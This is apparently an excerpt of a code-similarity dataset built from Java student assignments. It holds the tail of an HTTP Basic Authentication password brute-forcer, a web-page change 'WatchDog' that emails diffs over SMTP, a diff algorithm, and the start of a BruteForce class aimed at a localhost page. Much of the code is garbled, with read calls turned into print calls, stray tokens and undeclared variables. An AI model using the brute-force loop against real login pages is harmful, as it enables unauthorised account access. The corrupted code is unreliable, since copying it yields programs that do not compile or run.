\ two = new String (asciiLower, secondPosition, number);\n String\
\ three = new String (asciiUpper, thirdPosition, number); \n \
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n\
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n\
\ }\n if (errorMessage == 200)\n break;\n\
\ }\n }\n \n \n Date endDate = new Date();\n\
\ System.out.println(\"Password crack finished: \" + endDate);\n System.out.println(\"\
Password crack started: \" + startDate);\n System.out.println(\" of attempts:\
\ \" + attempts);\n }\n}\n\n \n \n\n\n\n\n\n\n\n\n \n\n \
\ \n\n \n\n\n\n\n\n \n \n \n "
- source_sentence: "\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.Properties;\n\
import java.security.*;\n\npublic class WatchDog\n{\n private String file,tempfile1,tempfile2,tempfile3;\n\
\tprivate final String host=\"yallara.cs.rmit.edu.\";\n private final String\
\ email=\"@cs.rmit.edu.\";\n private final String from=\"[email protected].\"\
;\n private final String subject=\"SUBJECT:Mail from Watchdog about the changes\
\ the web-.\";\n private String baseURL=\"\";\n\tprivate String msg;\n\tprivate\
\ boolean firstTime=false;\n public WatchDog(boolean flag)\n\t{\n\t\tfirstTime=flag;\n\
\t}\n\n public void startWatching(String[] urls,String fl)\n {\n\t\tfile=fl;\n\
\t\ttempfile1=fl+\"/temp1.log\";\n\t\ttempfile2=fl+\"/temp2.log\";\n\t\ttempfile3=fl+\"\
/temp3.log\";\n\t\tSystem.out.println(tempfile3);\n\n\t\tmsg=\"\";\n\t\tfor(;;)\n\
\t\t{\n\t\t\ttry\n\t\t\t{\n\n\t\t\t\tfor(int o=0;o<urls.length;o++)\n\t\t\t\t\
{\n\t\t\t\t\tfile=fl+\"/ass2_\"+o+\".log\";\n\t\t\t\t\tURL u=new URL(urls[o]);\n\
\t\t\t\t\tString f=u.getFile();\n\t\t\t\t\tString url=urls[o];\n\t\t\t\t\tif(f.lastIndexOf('.')<f.lastIndexOf('/'))\n\
\t\t\t\t\t{\n\t\t\t\t\t\turl=f.substring(0,f.lastIndexOf('/'));\n\t\t\t\t\t\t\
url=u.getProtocol()+\"://\"+u.getHost()+url;\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.println(url);\n\
\t\t\t\t\twatch(url);\n\t\t\t\t\tmsg=msg+\"\\n\\n\";\n\t\t\t\t}\n\t\t\t\tif(firstTime==false)\n\
\t\t\t\t{\n\t\t\t boolean flag=mail(msg);\n\t\t\t if(flag)\n\t\t\t\t\t\
System.out.println(\"mail sent\");\n\t\t\t\t else\n\t\t\t\t\tSystem.out.println(\"\
mail not sent\");\n \t\t\t\t Thread.sleep(1000*60*60*24);\n\t\t\t\t}\n\t\t\t\t\
else\n\t\t\t\t\tSystem.exit(0);\n\t\t\t}\n\t\t\tcatch(Exception e)\n\t\t\t{\n\t\
\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\t\t\t\n }\n\n\tprivate void watch(String\
\ url) throws IOException\n\t{\n\t\t baseURL=url;\n\t\t msg=msg+\"Going\
\ check the URL \"+url+\".\\n\";\n\t \n\t\t String pageText=getResource(url);\n\
\n\t\t\t String [] images=getImages(pageText);\n\n\t\t\t if(firstTime==false)\n\
\t msg= msg + checkChange(pageText,images);\t \n\n\t\t msg=msg+\"\
. Checked at \"+new java.util.Date(System.currentTimeMillis())+\".\";\n\n\t\t\
\ log(pageText,images);\n\n\t\t\tif(firstTime)\n\t\t\t\tSystem.out.println(\"\
Re-run the watchDog (without the First flag).\");\n\t}\n\tprivate String checkChange(String\
\ pageText,String [] images) throws IOException\n\t{\n\t\t\n\t\tPrintWriter out=new\
\ PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(pageText);\n\t\
\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\
\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tBufferedReader in1=new\
\ BufferedReader(new FileReader(file));\n\t\tBufferedReader in2=new BufferedReader(new\
\ FileReader(tempfile1));\t\n\t\tString msg=\"\\n\";\n \tString temp1=\"\
\",temp2=\"\",oldText=\"\",newText=\"\";\n\n\t\t\n\t\tBufferedReader in0=new BufferedReader(new\
\ FileReader(tempfile1));\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\
+\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in0.readLine();\n\t\t\ttemp1=temp1+\"\\\
n\";\n\t\t\tnewText=newText+temp1;\n\t\t}\n\t\tin0.print();\n\t\tin0=null;\n\t\
\t\n\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(newText);\n\
\t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\
);\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\t\tnewText=\"\";\n\t\t\
temp1=\" \";\n\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\
+\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in1.readLine();\n\t\t\ttemp1=temp1+\"\\\
n\";\n\t\t\ttemp2=in2.readLine();\n\t\t\ttemp2=temp2+\"\\n\";\n\t\t\toldText=oldText+temp1;\n\
\t\t\tnewText=newText+temp2;\n\t\t}\t\t\n\n\t\tin2.print();\n\t\tin2=null;\n\n\
\t\tout=new PrintWriter(new FileOutputStream(tempfile2));\n\t\tout.println(oldText);\n\
\t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\
);\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tmsg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3);\n\
\t\tString data=\"\";\n\t\ttry{\n\t\t\tFileReader fin=new FileReader(tempfile3);\n\
\t\t\tint ch=fin.print();\n\t\t\twhile(ch!= -1)\n\t\t\t{\n\t\t\t data=data+\"\
\"+(char)ch;\n\t\t\t\t ch=fin.print();\n\t\t\t}\n\t\t}\n\t\tcatch(FileNotFoundException\
\ m){}\n\n\t\tmsg=msg+data;\n\n\t\ttemp1=in1.readLine();\n\n\t\tint numImg=Integer.parseInt(temp1);\n\
\t\tif(numImg != images.length)\n\t\t\tmsg=msg+\"The number of images has chnaged.\\\
n The number of images before was \"+numImg+\" \\n While the number of images\
\ found now is \"+images.length+\" .\\n\";\n\t\telse\n\t\t\tmsg=msg+\" is change\
\ in the number of images the .\\n\";\n\n\t\tString iText1=\"\",iText2=\"\";\n\
\t\t\n\t\tfor(int i=0;i<numImg;i++)\n\t\t{\n\t\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\
\t\t\tout.println(images[i]);\n\t\t\tout.flush();\n\t\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\
);\n\t\t\tout.flush();\n\t\t\tout.print();\n\t\t\tout=null;\n\n\t\t\tin2=new BufferedReader(new\
\ FileReader(tempfile1));\n\t\n\t\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\
+\"\\n\")==false)\n\t\t\t{\n\t\t\t\n\t\t\t\ttemp1=in1.readLine();\n\t\t\t\ttemp1=temp1+\"\
\\n\";\n\t\t\t\ttemp2=in2.readLine();\n\t\t\t\ttemp2=temp2+\"\\n\";\n\t\t\t\t\
iText1=iText1+temp1;\n\t\t\t\tiText2=iText2+temp2;\n\t\t\t}\n\t\t\t\n\t\t\tin2.print();\n\
\t\t\tin2=null;\n\n\t\t\tif(iText1.equals(iText2))\n\t\t\t\tmsg=msg+\" is change\
\ in the Image number \"+(i+1)+\". \\n\";\n\t\t\telse\n\t\t\t\tmsg=msg+\"The Image\
\ number \"+(i+1)+\" has changed. \\n\";\n\t\t}\n\n\t\treturn msg;\n\t}\n\tprivate\
\ String[] getImages(String text) throws IOException\n\t{\n\t\tString [] images,urls;\n\
\t\tjava.util.ArrayList alist=new java.util.ArrayList();\n\t\tString t=\"\";\n\
\t\tboolean img=false;\n\t\tint len=text.length();\n\t\tchar ch,last=' ';\n\t\t\
int c=0;\n\t\twhile(c<len)\n\t\t{\n\t\t\tch=text.charAt(c);\n\t\t\tif(ch=='<')\n\
\t\t\t{\n\t\t\t\tlast='<';\n\t\t\t\tt=\"\";\n\t\t\t}\n\t\t\tif(last=='<')\n\t\t\
\t{\n\t\t\t\tt=\"\"+ch;\n\t\t\t\tif(c+2 < len)\n\t\t\t\t\tt=t+text.charAt(c+1)+\"\
\"+text.charAt(c+2);\n\t\t\t\tif(t.equalsIgnoreCase(\"img\"))\n\t\t\t\t\timg=true;\n\
\t\t\t}\n\t\t\tif(img==true)\n\t\t\t\tt=+ch;\n\t\t\tif(ch=='>')\n\t\t\t{\n\t\t\
\t\tlast='>';\n\t\t\t\tif(img==true)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\tSystem.out.println();\n\
\t\t\t\t\tint n=0;\n\t\t\t\t\tchar tch,tlast=' ';\n\t\t\t\t\tString imgPath=\"\
\",tn=\"\";\n\t\t\t\t\tboolean src=false;\n\t\t\t\t\twhile(n<t.length())\n\t\t\
\t\t\t{\n\t\t\t\t\t\ttch=t.charAt(n);\n\t\t\t\t\t\ttn=\"\"+tch;\n\t\t\t\t\t\t\
if(src==false && tn.equalsIgnoreCase(\"s\") && (n+2)<t.length())\n\t\t\t\t\t\t\
{\n\t\t\t\t\t\t\ttn=tn+t.charAt(n+1)+\"\"+t.charAt(n+2);\n\t\t\t\t\t\t\tif(tn.equalsIgnoreCase(\"\
src\"))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsrc=true;\n\t\t\t\t\t\t\t\tn+=2;\n\t\
\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if(src==true)\n\t\t\t\t\t\t{\n\t\
\t\t\t\t\t\tif(tch!='\"')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(tch==' ' && imgPath.indexOf('.')!=\
\ -1)\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tn=t.length();\n\t\t\t\t\t\t\t\telse if(tch=='\
\ ' || tch=='=')\n\t\t\t\t\t\t\t\t\t;\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\
imgPath=imgPath+tch;\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\
\t\tn++;\n\t\t\t\t\t}\n\t\t\t\t\talist.add(imgPath);\n\t\t\t\t}\n\t\t\t\timg=false;\n\
\t\t\n\t\t\t}\n\t\t\tc++;\n\t\t}\n\t\turls=(String[])alist.toArray(new String[0]);\
\ \n\t\timages=new String[urls.length];\n\t\tfor(int i=0;i<urls.length;i++)\n\t\
\t{\n\t\t\tSystem.out.println(urls[i]);\n\t\t\tif(urls[i].startsWith(\"http\"\
)==false && urls[i].startsWith(\"HTTP\")==false && urls[i].startsWith(\"/\")==false)\n\
\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(baseURL+\"/\"\
+urls[i]);\t\t\t\n\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\
\t{\n\t\t\t\t\tString f=baseURL+\"/\"+urls[i];\n\t\t\t\t\timages[i]=f.substring(0,f.lastIndexOf('/'));\n\
\t\t\t\t}\n\t\t\t}\n\t\t\telse if(urls[i].startsWith(\"http\")==false && urls[i].startsWith(\"\
HTTP\")==false)\t\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(baseURL+urls[i]);\n\
\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\tString\
\ f=baseURL+urls[i];\n\t\t\t\t\timages[i]=f.substring(0,f.lastIndexOf('/'));\n\
\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(urls[i]);\n\
\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\timages[i]=urls[i].substring(0,urls[i].lastIndexOf('/'));\n\
\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\t\treturn images;\n\t}\n\tprivate void log(String\
\ pageText,String[] images) throws IOException\n {\n\t\tPrintWriter out=new\
\ PrintWriter(new FileOutputStream(file));\n\t\tout.println(pageText);\n\t\tout.flush();\n\
\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\tout.flush();\t\
\n\n\t\tif(images.length>0)\n\t\t{\n\t\t\tout.println(images.length+\"\");\n\t\
\t\tout.flush();\t\n\t\t}\n\t\tfor(int i=0;i<images.length;i++)\n\t\t{\n\t\t\t\
out.println(images[i]);\n\t\t\tout.flush();\n\t\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\
);\n\t\t\tout.flush();\t\t\n\t\t}\t\n\n\t}\n\n public String getResource(String\
\ url) throws IOException\n\t{\n\t\t\t\tSystem.out.println(\"url=\"+url);\n\t\t\
\t\tString urlData=new String(\"\");\n InputStreamReader in=new\
\ InputStreamReader(new URL(url).openStream());\n int ch=in.print();\n\
\ while(ch!= -1)\n {\n urlData=urlData+(char)ch;\n\
\ ch=in.print();\n }\n\t\treturn urlData;\n\t\
}\n\n public boolean mail (String msg) throws IOException\n {\n\
\ boolean ret=true;\n try\n {\n \
\ Socket csoc=new Socket(\"yallara.cs.rmit.edu.\",25);\n BufferedReader\
\ in=new BufferedReader(new InputStreamReader(csoc.getInputStream()));\n \
\ PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);\n \
\ out.println(\"HELO \"+host);\n System.out.println(in.readLine());\n\
\ out.println(\"MAIL FROM:\"+from);\n System.out.println(in.readLine());\n\
\ out.println(\"RCPT :\");\n System.out.println(in.readLine());\n\
\ out.println(\"DATA\");\n System.out.println(in.readLine());\n\
\ out.println(\"SUBJECT:\"+subject);\n System.out.println(in.readLine());\n\
\ out.println(msg);\n \t out.println(\".\");\n \
\ System.out.println(in.readLine());\n out.println(\"QUIT\");\n \
\ System.out.println(in.readLine());\n }\n catch(Exception\
\ e)\n {\n e.printStackTrace();\n System.out.println(\"\
Some error occoured while communicating server\");\n ret=false;\n\
\ \t return ret;\n }\n\t System.out.println(\"**************************************\\\
nMAIL ->\"+msg);\n return ret;\n }\n\n\tpublic static void main\
\ (String[] args)\n\t{\n\t\tSystem.out.println(\"Usage : \\n java WatchDog <space\
\ seperated list of urls> <current path> [First] \\n {The First at the end is\
\ used when running the watch dog for a new URL for the first Time}\");\n\t\t\
boolean flag=false;\n\t\tint num=args.length-1;\n\t\tif(args[args.length-1].equalsIgnoreCase(\"\
First\"))\n\t\t{\n\t\t\tnum--;;\n\t\t\tflag=true;\n\t\t}\nSystem.out.println(args[num]);\n\
\n\t\tWatchDog w=new WatchDog(flag);\n\t\tString []u=new String[num];\n\t\tfor(int\
\ i=0;i<u.length;i++)\n\t\t\tu[i]=args[i];\n\t\tw.startWatching(u,args[num]);\n\
\t}\n}\n"
sentences:
- "\n\nimport java.util.Hashtable;\n\n\n\npublic class Diff {\n\n \n public Diff(Object[]\
\ a,Object[] b) {\n Hashtable h = new Hashtable(a.length + b.length);\n \
\ filevec[0] = new file_data(a,h);\n filevec[1] = new file_data(b,h);\n }\n\
\n \n private int equiv_max = 1;\n\n \n public boolean heuristic = false;\n\
\n \n public boolean no_discards = false;\n\n private int[] xvec, yvec; \
\ \n private int[] fdiag; \n private int[] bdiag; \n private\
\ int fdiagoff, bdiagoff;\n private final file_data[] filevec = new file_data[2];\n\
\ private int cost;\n\n \n\n private int diag (int xoff, int xlim, int yoff,\
\ int ylim) {\n final int[] fd = fdiag; \n final int[] bd = bdiag; \
\ \n final int[] xv = xvec; \n final int[] yv = yvec; \
\ \n final int dmin = xoff - ylim; \n final int dmax =\
\ xlim - yoff; \n final int fmid = xoff - yoff; \n final int\
\ bmid = xlim - ylim; \n int fmin = fmid, fmax = fmid; \n int\
\ bmin = bmid, bmax = bmid; \n \n final boolean odd = (fmid - bmid\
\ & 1) != 0; \n\n fd[fdiagoff + fmid] = xoff;\n bd[bdiagoff + bmid] = xlim;\n\
\n for (int c = 1;; ++c)\n {\n int d; \n \
\ boolean big_snake = false;\n\n \n if (fmin > dmin)\n \
\ fd[fdiagoff + --fmin - 1] = -1;\n else\n ++fmin;\n \
\ if (fmax < dmax)\n fd[fdiagoff + ++fmax + 1] = -1;\n else\n\
\ --fmax;\n for (d = fmax; d >= fmin; d -= 2)\n {\n \
\ int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d\
\ + 1];\n\n if (tlo >= ylim)\n x = tlo + 1;\n \
\ else\n x = ylim;\n oldx = x;\n y = x -\
\ d;\n while (x < xlim && y < ylim && xv[x] == yv[y]) {\n \
\ ++x; ++y;\n }\n if (x - oldx > 20)\n \
\ big_snake = true;\n fd[fdiagoff + d] = x;\n if (odd &&\
\ bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d])\n \
\ {\n cost = 2 * c - 1;\n return d;\n \
\ }\n }\n\n \n if (bmin > dmin)\n bd[bdiagoff\
\ + --bmin - 1] = Integer.MAX_VALUE;\n else\n ++bmin;\n \
\ if (bmax < dmax)\n bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE;\n\
\ else\n --bmax;\n for (d = bmax; d >= bmin; d -= 2)\n\
\ {\n int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff\
\ + d + 1];\n\n if (tlo < ylim)\n x = tlo;\n \
\ else\n x = - 1;\n oldx = x;\n y = x -\
\ d;\n while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) {\n \
\ --x; --y;\n }\n if (oldx - x > 20)\n \
\ big_snake = true;\n bd[bdiagoff + d] = x;\n if\
\ (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d])\n \
\ {\n cost = 2 * c;\n return d;\n \
\ }\n }\n\n \n\n if (c > 200 && big_snake &&\
\ heuristic)\n {\n int i = 0;\n int bestpos = -1;\n\
\n for (d = fmax; d >= fmin; d -= 2)\n {\n \
\ int dd = d - fmid;\n if ((fd[fdiagoff + d] - xoff)*2 - dd\
\ > 12 * (c + (dd > 0 ? dd : -dd)))\n {\n \
\ if (fd[fdiagoff + d] * 2 - dd > i\n && fd[fdiagoff +\
\ d] - xoff > 20\n && fd[fdiagoff + d] - d - yoff > 20)\n\
\ {\n int k;\n \
\ int x = fd[fdiagoff + d];\n\n \n \
\ for (k = 1; k <= 20; k++)\n if (xvec[x - k]\
\ != yvec[x - d - k])\n break;\n\n \
\ if (k == 21)\n {\n \
\ ylim = fd[fdiagoff + d] * 2 - dd;\n bestpos =\
\ d;\n }\n }\n \
\ }\n }\n if ( x> 0)\n {\n \
\ cost = 2 * c - 1;\n return bestpos;\n }\n\n \
\ x= 0;\n for (d = bmax; d >= bmin; d -= 2)\n \
\ {\n int dd = d - bmid;\n if ((xlim - bd[bdiagoff\
\ + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd)))\n {\n \
\ if ((xlim - bd[bdiagoff + d]) * 2 + dd > i\n \
\ && xlim - bd[bdiagoff + d] > 20\n && x - (bd[bdiagoff\
\ + d] - d) > 20)\n {\n \n \
\ int k;\n int x = bd[bdiagoff + d];\n\n\
\ for (k = 0; k < 20; k++)\n if\
\ (xvec[x + k] != yvec[x - d + k])\n break;\n \
\ if (k == 20)\n {\n \
\ x = (xlim - bd[bdiagoff + d]) * 2 + dd;\n \
\ bestpos = d;\n }\n }\n \
\ }\n }\n if (x > 0)\n {\n\
\ cost = 2 * c - 1;\n return bestpos;\n \
\ }\n }\n }\n }\n\n \n\n private void compareseq (int xoff,\
\ int xlim, int yoff, int ylim) {\n \n while (xoff < xlim && yoff < ylim\
\ && xvec[xoff] == yvec[yoff]) {\n ++xoff; ++yoff;\n }\n \n while\
\ (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) {\n --xlim;\
\ --x;\n }\n \n \n if (xoff == xlim)\n while (yoff < ylim)\n\
\ filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true;\n \
\ else if (yoff == ylim)\n while (xoff < xlim)\n filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]]\
\ = true;\n else\n {\n \n\n int d = diag (xoff, xlim, yoff,\
\ ylim );\n int c = cost;\n int f = fdiag[fdiagoff + d];\n \
\ int b = bdiag[bdiagoff + d];\n\n if (c == 1)\n {\n \
\ \n throw new IllegalArgumentException(\"Empty subsequence\");\n\
\ }\n else\n {\n \n compareseq\
\ (xoff, b, yoff, b - d);\n \n compareseq (b, xlim, b -\
\ d,ylim );\n }\n }\n }\n\n \n\n private void discard_confusing_lines()\
\ {\n filevec[0].discard_confusing_lines(filevec[1]);\n filevec[1].discard_confusing_lines(filevec[0]);\n\
\ }\n\n private boolean inhibit = false;\n\n \n\n private void shift_boundaries()\
\ {\n if (inhibit)\n return;\n filevec[0].shift_boundaries(filevec[1]);\n\
\ filevec[1].shift_boundaries(filevec[0]);\n }\n\n public interface ScriptBuilder\
\ {\n \n public change build_script(\n boolean[] changed0,int len0,\n\
\ boolean[] changed1,int len1\n );\n }\n\n \n\n static class ReverseScript\
\ implements ScriptBuilder {\n public change build_script(\n final\
\ boolean[] changed0,int len0,\n final boolean[] changed1,int len1)\n \
\ {\n change script = null;\n int i0 = 0, i1 = 0;\n while (i0\
\ < len0 || i1 < len1) {\n if (changed0[1+i0] || changed1[1+i1]) {\n \
\ int line0 = i0, line1 = i1;\n\n \n while (changed0[1+i0])\
\ ++i0;\n while (changed1[1+i1]) ++i1;\n\n \n \
\ script = new change(line0, line1, i0 - line0, i1 - line1, script);\n \
\ }\n\n \n i0++; i1++;\n }\n\n return script;\n }\n\
\ }\n\n static class ForwardScript implements ScriptBuilder {\n \n public\
\ change build_script(\n final boolean[] changed0,int len0,\n \
\ final boolean[] changed1,int len1)\n {\n change script = null;\n \
\ int i0 = len0, i1 = len1;\n\n while (i0 >= 0 || i1 >= 0)\n {\n\
\ if (changed0[i0] || changed1[i1])\n {\n int\
\ line0 = i0, line1 = i1;\n\n \n while (changed0[i0])\
\ --i0;\n while (changed1[i1]) --i1;\n\n \n \
\ script = new change(i0, i1, line0 - i0, line1 - i1, script);\n \
\ }\n\n \n i0--; i1--;\n }\n\n return script;\n\
\ }\n }\n\n \n public final static ScriptBuilder\n forwardScript = new\
\ ForwardScript(),\n reverseScript = new ReverseScript();\n\n \n public final\
\ change diff_2(final boolean reverse) {\n return diff(reverse ? reverseScript\
\ : forwardScript);\n }\n\n \n public change diff(final ScriptBuilder bld)\
\ {\n\n \n\n discard_confusing_lines ();\n\n \n\n xvec = filevec[0].undiscarded;\n\
\ yvec = filevec[1].undiscarded;\n\n int diags =\n filevec[0].nondiscarded_lines\
\ + filevec[1].nondiscarded_lines + 3;\n fdiag = new int[diags];\n fdiagoff\
\ = filevec[1].nondiscarded_lines + 1;\n bdiag = new int[diags];\n bdiagoff\
\ = filevec[1].nondiscarded_lines + 1;\n\n compareseq (0, filevec[0].nondiscarded_lines,\n\
\ 0, filevec[1].nondiscarded_lines);\n fdiag = null;\n bdiag\
\ = null;\n\n \n\n shift_boundaries ();\n\n \n return bld.build_script(\n\
\ filevec[0].changed_flag,\n filevec[0].buffered_lines,\n filevec[1].changed_flag,\n\
\ filevec[1].buffered_lines\n );\n\n }\n\n \n\n public static class\
\ change {\n \n public int change ; \n \n public final int\
\ inserted; \n \n public final int deleted; \n \n public\
\ final int line0; \n \n public final int line1; \
\ \n\n \n public change(int line0, int line1, int deleted, int inserted,\
\ change old) {\n this.line0 = line0;\n this.line1 = line1;\n this.inserted\
\ = inserted;\n this.deleted = deleted;\n this.old = old;\n \n\
\ }\n }\n\n \n\n class file_data {\n\n \n void clear() {\n \n\
\ changed_flag = new boolean[buffered_lines + 2];\n }\n\n \n int[]\
\ equivCount() {\n int[] equiv_count = new int[equiv_max];\n for (int\
\ i = 0; i < buffered_lines; ++i)\n ++equiv_count[equivs[i]];\n return\
\ equiv_count;\n }\n\n \n void discard_confusing_lines(file_data f) {\n\
\ clear();\n \n final byte[] discarded = discardable(f.equivCount());\n\
\n \n filterDiscards(discarded);\n\n \n discard(discarded);\n\
\ }\n\n \n\n private byte[] discardable(final int[] counts) {\n \
\ final int end = buffered_lines;\n final byte[] discards = new byte[end];\n\
\ final int[] equivs = this.equivs;\n int many = 5;\n int tem =\
\ end / 64;\n\n \n while ((tem = tem >> 2) > 0)\n many *= 2;\n\
\n for (int i = 0; i < end; i++)\n {\n int nmatch;\n \
\ if (equivs[i] == 0)\n continue;\n nmatch = counts[equivs[i]];\n\
\ if (nmatch == 0)\n discards[i] = 1;\n else if (nmatch\
\ > many)\n discards[i] = 2;\n }\n return discards;\n \
\ }\n\n \n\n private void filterDiscards(final byte[] discards) {\n \
\ final int end = buffered_lines;\n\n for (int i = 0; i < end; i++)\n\
\ {\n \n if (discards[i] == 2)\n discards[i]\
\ = 0;\n else if (discards[i] != 0)\n {\n \
\ \n int j;\n int length;\n int\
\ provisional = 0;\n\n \n for (j = i; j < end; j++)\n\
\ {\n if (discards[j] == 0)\n \
\ break;\n if (discards[j] == 2)\n \
\ ++provisional;\n }\n\n \n \
\ while (j > i && discards[j - 1] == 2) {\n discards[--j]\
\ = 0; --provisional;\n }\n\n \n \
\ length = j - i;\n\n \n if (provisional * 4 > length)\n\
\ {\n while (j > i)\n \
\ if (discards[--j] == 2)\n discards[j] = 0;\n \
\ }\n else\n {\n \
\ int consec;\n int minimum = 1;\n int tem\
\ = length / 4;\n\n \n while ((tem = tem\
\ >> 2) > 0)\n minimum *= 2;\n minimum++;\n\
\n \n for (j = 0, consec = 0; j < length;\
\ j++)\n if (discards[i + j] != 2)\n \
\ consec = 0;\n else if (minimum == ++consec)\n \
\ \n j -= consec;\n \
\ else if (minimum < consec)\n discards[i + j] = 0;\n\
\n \n for (j = 0, consec = 0; j < length;\
\ j++)\n {\n if (j >= 8 && discards[i\
\ + j] == 1)\n break;\n if (discards[i\
\ + j] == 2) {\n consec = 0; discards[i + j] = 0;\n \
\ }\n else if (discards[i + j] ==\
\ 0)\n consec = 0;\n else\n \
\ consec++;\n if (consec == 3)\n\
\ break;\n }\n\n \
\ \n i += length - 1;\n\n \n \
\ for (j = 0, consec = 0; j < length; j++)\n \
\ {\n if (j >= 8 && discards[i - j] == 1)\n \
\ break;\n if (discards[i - j] == 2) {\n\
\ consec = 0; discards[i - j] = 0;\n \
\ }\n else if (discards[i - j] == 0)\n \
\ consec = 0;\n else\n \
\ consec++;\n if (consec == 3)\n \
\ break;\n }\n }\n \
\ }\n }\n }\n\n \n private void discard(final byte[] discards)\
\ {\n final int end = buffered_lines;\n int j = 0;\n for (int i\
\ = 0; i < end; ++i)\n if (no_discards || discards[i] == 0)\n \
\ {\n undiscarded[j] = equivs[i];\n realindexes[j++] = i;\n\
\ }\n else\n changed_flag[1+i] = true;\n nondiscarded_lines\
\ = j;\n }\n\n file_data(Object[] data,Hashtable h) {\n buffered_lines\
\ = data.length;\n\n equivs = new int[buffered_lines]; \n undiscarded\
\ = new int[buffered_lines];\n realindexes = new int[buffered_lines];\n\n\
\ for (int i = 0; i < data.length; ++i) {\n Integer ir = (Integer)h.get(data[i]);\n\
\ if (ir == null)\n h.put(data[i],new Integer(equivs[i] = equiv_max++));\n\
\ else\n equivs[i] = ir.intValue();\n }\n }\n\n \n\n\
\ void shift_boundaries(file_data f) {\n final boolean[] changed = changed_flag;\n\
\ final boolean[] other_changed = f.changed_flag;\n int i = 0;\n \
\ int j = 0;\n int i_end = buffered_lines;\n int preceding = -1;\n\
\ int other_preceding = -1;\n\n for (;;)\n {\n int start,\
\ end, other_start;\n\n \n\n while (i < i_end && !changed[1+i])\n\
\ {\n while (other_changed[1+j++])\n \n\
\ other_preceding = j;\n i++;\n }\n\n \
\ if (i == i_end)\n break;\n\n start = i;\n \
\ other_start = j;\n\n for (;;)\n {\n \n\n\
\ while (i < i_end && changed[1+i]) i++;\n end = i;\n\
\n \n\n \n\n if (end != i_end\n \
\ && equivs[start] == equivs[end]\n && !other_changed[1+j]\n\
\ && end != i_end\n && !((preceding >= 0 &&\
\ start == preceding)\n || (other_preceding >= 0\n \
\ && other_start == other_preceding)))\n {\n\
\ changed[1+end++] = true;\n changed[1+start++]\
\ = false;\n ++i;\n \n ++j;\n\
\ }\n else\n break;\n }\n\
\n preceding = i;\n other_preceding = j;\n }\n }\n\
\n \n final int buffered_lines;\n\n \n private final int[] equivs;\n\
\n \n final int[] undiscarded;\n\n \n final int[] realindexes;\n\
\n \n int nondiscarded_lines;\n\n \n boolean[] changed_flag;\n\
\n }\n}\n"
- "package java.httputils;\n\nimport java.io.BufferedOutputStream;\nimport java.io.FileNotFoundException;\n\
import java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\
import java.net.MalformedURLException;\nimport java.sql.Timestamp;\nimport java.util.Observable;\n\
\npublic class BruteForce extends Observable\n{\n \n protected Timestamp\
\ start;\n protected Timestamp end;\n protected String URL = \"http://localhost:8080/secret/index.html\"\
;\n protected String userName = \"\";\n protected String content = \"\"\
;\n protected int attempts = 0;\n protected String password;\n protected\
\ String fileName;\n\n public static final char[] letters =\n {\n \
